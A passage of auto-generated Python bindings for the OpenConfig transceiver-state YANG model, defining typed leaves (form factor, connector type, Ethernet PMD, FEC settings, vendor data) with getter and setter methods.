'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__fec_mode = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-mode", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__present = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRESENT': {}, 'NOT_PRESENT': {}},), is_leaf=True, yang_name="present", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='enumeration', is_config=False) self.__form_factor = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__connector_type = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="connector-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__vendor = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) self.__vendor_part = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor-part", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) self.__vendor_rev = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..2']}), is_leaf=True, yang_name="vendor-rev", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) self.__ethernet_pmd = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__sonet_sdh_compliance_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="sonet-sdh-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__otn_compliance_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="otn-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__serial_no = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="serial-no", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) self.__date_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^[0-9]{4}\\-[0-9]{2}\\-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}(\\.[0-9]+)?Z[+-][0-9]{2}:[0-9]{2}$'}), is_leaf=True, yang_name="date-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='oc-yang:date-and-time', is_config=False) self.__fault_condition = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="fault-condition", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) self.__fec_status = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__fec_uncorrectable_blocks = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-blocks", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) self.__fec_uncorrectable_words = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-words", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) self.__fec_corrected_bytes = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bytes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) self.__fec_corrected_bits = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bits", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) self.__pre_fec_ber = YANGDynClass(base=pre_fec_ber.pre_fec_ber, is_container='container', yang_name="pre-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) self.__post_fec_ber = YANGDynClass(base=post_fec_ber.post_fec_ber, is_container='container', yang_name="post-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) self.__output_power = YANGDynClass(base=output_power.output_power, is_container='container', yang_name="output-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) self.__input_power = YANGDynClass(base=input_power.input_power, is_container='container', yang_name="input-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) self.__laser_bias_current = YANGDynClass(base=laser_bias_current.laser_bias_current, is_container='container', yang_name="laser-bias-current", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['components', 'component', 'transceiver', 'state'] def _get_enabled(self): """ Getter method for enabled, mapped from YANG variable /components/component/transceiver/state/enabled (boolean) YANG Description: Turns power on / off to the transceiver -- provides a means to power on/off the transceiver (in the case of SFP, SFP+, QSFP,...) or enable high-power mode (in the case of CFP, CFP2, CFP4) and is optionally supported (device can choose to always enable). True = power on / high power, False = powered off """ return self.__enabled def _set_enabled(self, v, load=False): """ Setter method for enabled, mapped from YANG variable /components/component/transceiver/state/enabled (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_enabled is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_enabled() directly. YANG Description: Turns power on / off to the transceiver -- provides a means to power on/off the transceiver (in the case of SFP, SFP+, QSFP,...) or enable high-power mode (in the case of CFP, CFP2, CFP4) and is optionally supported (device can choose to always enable). True = power on / high power, False = powered off """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """enabled must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False)""", }) self.__enabled = t if hasattr(self, '_set'): self._set() def _unset_enabled(self): self.__enabled = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) def _get_form_factor_preconf(self): """ Getter method for form_factor_preconf, mapped from YANG variable /components/component/transceiver/state/form_factor_preconf (identityref) YANG Description: Indicates the type of optical transceiver used on this port. If the client port is built into the device and not pluggable, then non-pluggable is the corresponding state. If a device port supports multiple form factors (e.g. QSFP28 and QSFP+, then the value of the transceiver installed shall be reported. If no transceiver is present, then the value of the highest rate form factor shall be reported (QSFP28, for example). The form factor is included in configuration data to allow pre-configuring a device with the expected type of transceiver ahead of deployment. The corresponding state leaf should reflect the actual transceiver type plugged into the system. """ return self.__form_factor_preconf def _set_form_factor_preconf(self, v, load=False): """ Setter method for form_factor_preconf, mapped from YANG variable /components/component/transceiver/state/form_factor_preconf (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_form_factor_preconf is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_form_factor_preconf() directly. YANG Description: Indicates the type of optical transceiver used on this port. If the client port is built into the device and not pluggable, then non-pluggable is the corresponding state. If a device port supports multiple form factors (e.g. QSFP28 and QSFP+, then the value of the transceiver installed shall be reported. If no transceiver is present, then the value of the highest rate form factor shall be reported (QSFP28, for example). The form factor is included in configuration data to allow pre-configuring a device with the expected type of transceiver ahead of deployment. The corresponding state leaf should reflect the actual transceiver type plugged into the system. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """form_factor_preconf must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 